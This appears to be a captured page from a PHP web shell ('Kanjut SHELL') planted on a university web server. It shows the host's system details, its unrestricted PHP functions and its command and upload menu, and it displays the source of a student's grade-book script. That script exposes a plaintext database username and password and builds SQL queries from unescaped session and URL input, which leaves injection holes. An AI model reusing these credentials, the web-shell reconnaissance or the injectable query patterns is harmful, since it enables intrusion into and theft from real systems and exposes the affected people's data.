Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.117.8.177
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/cngray/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cngray/www/BBAssign.phpt
<?php
        session_start();
        if(!isset($_SESSION['username'])){
                header("location:BBWelcome.php");
        } else {
?>

<html>
<center>
<?php

        $username = $_SESSION['username'];
        $pass = $_SESSION['pass'];
        $check = $_SESSION['check'];
        $pro = $_SESSION['pro'];
	$class = $_SESSION['class'];
	$_SESSION['class'] = $class;
        $_SESSION['username'] = $username;
        $_SESSION['pass'] = $pass;
        $_SESSION['check'] = 2;
        $host = 'localhost';
        $user = 'cngray';
        $passwd = 'vwccscngray';

	
        $rad = $_GET['rad'];

        $_SESSION['rad'] = $rad;
        $database = 'cngray';
        $connect = mysql_connect($host, $user, $passwd);
        mysql_select_db($database);

        $query = "select Course from Courses where Prof like '$pro'";
        $Result_id = mysql_query($query, $connect);

        if($Result_id)
        {
		$Class_array = array();
		$i = 0;
		while($row = mysql_fetch_row($Result_id))
			foreach($row as $field)
			{
				$Class_array[$i] = $field;
				$i++;
			}
		for($x = 0; $x < count($Class_array); $x++)
		{
			if($rad == $x)
			{
				$class = $Class_array[$x];
                		$class = str_replace(' ','', $class);

				print "Assignments for students in $class<br>";
				$query = "select Student from $class";
                		$Result_id = mysql_query($query, $connect)or die(mysql_error());
               			$numrows = mysql_num_rows($Result_id);
				if($Result_id)
				{
					$Student_array = array();
					$i = 0;
					while($row = mysql_fetch_row($Result_id))
						foreach($row as $field)
						{
							$Student_array[$i] = $field;
							$i++;
						}
					for($i = 0;$i < count($Student_array); $i++)
					{
						$Name = $Student_array[$i];
						$person = explode(" ", $Name);
                        			$First = $person[0];
                        			$Last = $person[1];

						$FL = $First[0];
						$USERNAME = $FL.$Last;
						$USERNAME = strtolower($USERNAME);

						$AQuery = "select *  from $USERNAME where Class like '$class'";
						$AResult = mysql_query($AQuery, $connect) or die(mysql_error());
						$numrows = mysql_num_rows($AResult);
						if($AResult)
						{
							print "<br><br>Assignments for $Name<br>";
							if($numrows == 0)
								print "No Assignments Entered<br>";
							else
							{
								print '<table border = 1>';
                                                                print "<th>  Class <th> Assignment <th> Grade ";   
                                                               	while($row = mysql_fetch_row($AResult))
                                                                {
                                                                	print '<tr>';
                                                                       	foreach($row as $field)
                                                                        	print "<td> $field </t>";
                                                                        print '</tr>';
                                                               	}
                                                                print '<table border = 0>';
							}

						}
						else
							print "Could Not Retreave Assignments<br>";
					}
					$_session['cls'] = $class;
					Print "<br><br>Add Asignments?<br>Select Student And Enter Assignment and Grade<br>";
					?>
					<br>
					<form action = BBAASS.php method = post>
					<select name = student>
					<?php for($x = 0; $x < count($Student_array); $x++)
							print "<option> $Student_array[$x] </option>";
					?>
					</select><br>
					Assignment Name<Input type = text name = assignment><br>
					Grade<input type = text name = grade><br>
					<input type = submit>
					
					<?php
				}
				else
					print "Could not retreave Students<br>";
			}
		}	
	}
	else
		print "Could Not connect<br>";

	?>
        <br><INPUT Type=button VALUE="Back" onClick="location.href = 'BBCourses.php'">
        <?php

	mysql_close($connect);
}
?>

Stv3n404 - 2023